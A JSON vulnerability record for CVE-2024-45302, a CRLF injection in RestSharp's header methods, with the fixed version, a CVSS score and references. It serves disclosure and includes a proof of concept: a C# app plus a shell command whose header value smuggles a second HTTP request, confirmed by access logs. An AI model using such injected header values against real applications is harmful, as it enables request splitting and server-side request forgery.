{"id":"CVE-2024-45302","aliases":["GHSA-4rr6-2v9v-wcpc"],"url":"https://o3.security/vulnerability/CVE-2024-45302","summary":"CRLF Injection in RestSharp's `RestRequest.AddHeader` method","details":"### Summary\nThe second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: This method does not check for CRLF characters in the header value.\n\nThis means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable \"api key\" and then makes a request to some status page with the provided key inserted in the \"Authorization\" header:\n\n```c#\nusing RestSharp;\n\nclass Program\n{\n static async Task Main(string[] args)\n {\n // Usage: dotnet run \n var key = args[0];\n var options = new RestClientOptions(\"http://insert.some.site.here\");\n var client = new RestClient(options);\n var request = new RestRequest(\"/status\", Method.Get).AddHeader(\"Authorization\", key);\n var response = await client.ExecuteAsync(request);\n Console.WriteLine($\"Status: {response.StatusCode}\");\n Console.WriteLine($\"Response: {response.Content}\");\n }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here'\nStatus: OK\nResponse: \n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: \nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"RestSharp/111.4.1.0\"\n```\n\n### Impact\nIf an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.\n\n","published":"2024-08-29T21:18:43.261Z","modified":"2026-08-12T03:51:12.099891114Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"NuGet","name":"RestSharp","fixedVersion":"112.0.0"}],"fix":{"url":"https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b","label":"restsharp/RestSharp@0fba5e7"},"references":[{"type":"WEB","url":"https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45302.json"},{"type":"ADVISORY","url":"https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45302"},{"type":"FIX","url":"https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b"},{"type":"PACKAGE","url":"https://github.com/restsharp/RestSharp"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.099891114Z"}}